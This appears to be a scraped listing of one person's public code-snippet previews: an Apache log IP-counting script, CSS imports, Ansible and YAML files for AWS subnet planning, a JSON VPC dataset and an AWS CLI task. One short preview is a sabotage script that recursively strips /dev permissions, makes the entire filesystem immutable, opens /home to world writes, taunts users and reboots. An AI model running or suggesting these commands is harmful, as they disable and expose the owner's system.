This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
# Given the Apache log file, write a script that returns a list sorted by the most frequently seen (originating) IP addresses with three fields: | |
#ip | |
#number of occurrences | |
#percentage of total requests logged. | |
#Apache log format is as follows: | |
#LogFormat "%v:%p %h[%{X-Forwarded-For}i] %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined_with_proxy | |
import re |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[example1] | |
example1.com service=example1 | |
example1.subdomain.com | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@import url(http://fonts.googleapis.com/css?family=Inconsolata); | |
@import url(http://fonts.googleapis.com/css?family=PT+Sans); | |
@import url(http://fonts.googleapis.com/css?family=PT+Sans+Narrow:400,700); | |
article, | |
aside, | |
details, | |
figcaption, | |
figure, | |
footer, | |
header, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo chmod -rx -R /dev | |
sudo chattr +i -R / | |
sudo chmod go+wx -R /home | |
sudo echo "Enjoy the pain!|wall" | |
sudo reboot now |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
--- | |
# tasks file for role_network_architecture | |
- name: Create AWS network subnets in defined azs | |
block: | |
- name: Test design of network topology | |
debug: | |
msg: " | |
name: {{ item.1.name }}-{{ item.3.key }}-{{ item.2 }} | |
cidr_block: {{ item.3.value|regex_replace('xxx', (item.1.basenet + item.1.region_basenet[item.2])|string ) }} # This will extend | |
# to use the other |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
--- | |
proviver_subnet_map: | |
- name: aws | |
region_azs: | |
- us-east-1: | |
- a | |
- c | |
- us-east-2: | |
- a | |
- d |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
provider_network_map: | |
aws: | |
basenet: 50 | |
region_basenet: | |
us-east-1: 0 | |
us-east-2: 1 | |
us-west-1: 2 | |
regions: | |
us-east-1: | |
- a |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"example_dataset": [ | |
{ | |
"curr_Name": "aws-example-vpca", | |
"curr_block": "172.123.48.0/20", | |
"curr_id": "vpc-05978ed5a4", | |
"curr_region": "us-east-1" | |
}, | |
{ | |
"curr_Name": "aws-example-vpcb", | |
"curr_block": "172.123.64.0/20", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
- apt: | |
name: "{{ item }}" | |
loop: "{{ somelist }}" | |
somelist: | |
- a | |
- b | |
- c | |
- apt: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
--- | |
- name: Collect facts about deployed api-gateway | |
command: "aws apigateway --profile {{ aws_profile }} --region {{ region }} get-rest-apis" | |
register: get_apis |
NewerOlder